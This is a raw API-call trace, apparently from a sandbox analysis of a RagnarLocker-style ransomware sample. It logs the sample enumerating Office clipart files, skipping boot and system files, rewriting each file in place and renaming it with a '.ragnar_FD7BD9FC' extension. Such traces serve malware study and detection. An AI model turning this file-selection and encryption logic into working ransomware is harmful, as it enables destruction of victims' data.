lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.273] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.273] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.273] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.274] GetProcessHeap () returned 0x580000 [0092.274] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.274] CloseHandle (hObject=0xf4) returned 1 [0092.274] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" [0092.274] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.ragnar_FD7BD9FC" [0092.274] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.274] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0092.274] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.274] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02431_.WMF" | out: lpString1="SO02431_.WMF") returned="SO02431_.WMF" [0092.274] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF") returned=".WMF" [0092.274] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="autorun.inf") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="boot.ini") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="bootfont.bin") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="bootsect.bak") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="bootmgr") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="bootmgr.efi") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="desktop.ini") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="iconcache.db") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="ntldr") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="ntuser.dat") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="ntuser.ini") returned 1 [0092.275] lstrcmpiW (lpString1="SO02431_.WMF", lpString2="thumbs.db") returned -1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf")) returned 0x20 [0092.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.276] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1648) returned 1 [0092.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x667, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.276] GetProcessHeap () returned 0x580000 [0092.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.276] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.277] VirtualAlloc (lpAddress=0x0, dwSize=0x670, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.277] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x670, lpOverlapped=0x0) returned 1 [0092.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.278] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x670, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.278] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x670, lpOverlapped=0x0) returned 1 [0092.278] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x670, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.278] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.278] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.278] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.278] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.278] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.278] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.278] GetProcessHeap () returned 0x580000 [0092.278] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.278] CloseHandle (hObject=0xf4) returned 1 [0092.278] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" [0092.278] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.ragnar_FD7BD9FC" [0092.278] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.279] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0092.279] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.279] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02437_.WMF" | out: lpString1="SO02437_.WMF") returned="SO02437_.WMF" [0092.279] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF") returned=".WMF" [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="autorun.inf") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="boot.ini") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="bootfont.bin") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="bootsect.bak") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="bootmgr") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="bootmgr.efi") returned 1 [0092.279] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="desktop.ini") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="iconcache.db") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="ntldr") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="ntuser.dat") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="ntuser.ini") returned 1 [0092.280] lstrcmpiW (lpString1="SO02437_.WMF", lpString2="thumbs.db") returned -1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.280] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf")) returned 0x20 [0092.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.280] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1460) returned 1 [0092.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.281] GetProcessHeap () returned 0x580000 [0092.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.281] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.282] VirtualAlloc (lpAddress=0x0, dwSize=0x5b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.282] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b4, lpOverlapped=0x0) returned 1 [0092.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.282] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.282] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b4, lpOverlapped=0x0) returned 1 [0092.282] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.283] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.283] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.283] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.283] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.283] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.283] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.283] GetProcessHeap () returned 0x580000 [0092.283] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.283] CloseHandle (hObject=0xf4) returned 1 [0092.283] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" [0092.283] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.ragnar_FD7BD9FC" [0092.283] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.284] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0092.284] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.284] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02439_.WMF" | out: lpString1="SO02439_.WMF") returned="SO02439_.WMF" [0092.284] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF") returned=".WMF" [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="autorun.inf") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="boot.ini") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="bootfont.bin") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="bootsect.bak") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="bootmgr") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="bootmgr.efi") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="desktop.ini") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="iconcache.db") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="ntldr") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="ntuser.dat") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="ntuser.ini") returned 1 [0092.284] lstrcmpiW (lpString1="SO02439_.WMF", lpString2="thumbs.db") returned -1 [0092.284] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.284] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.284] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.285] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.285] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.285] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.285] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf")) returned 0x20 [0092.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.285] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1284) returned 1 [0092.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.285] GetProcessHeap () returned 0x580000 [0092.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.285] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.287] VirtualAlloc (lpAddress=0x0, dwSize=0x504, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.287] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x504, lpOverlapped=0x0) returned 1 [0092.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.287] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x504, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.287] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x504, lpOverlapped=0x0) returned 1 [0092.288] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x504, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.288] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.288] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.288] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.288] 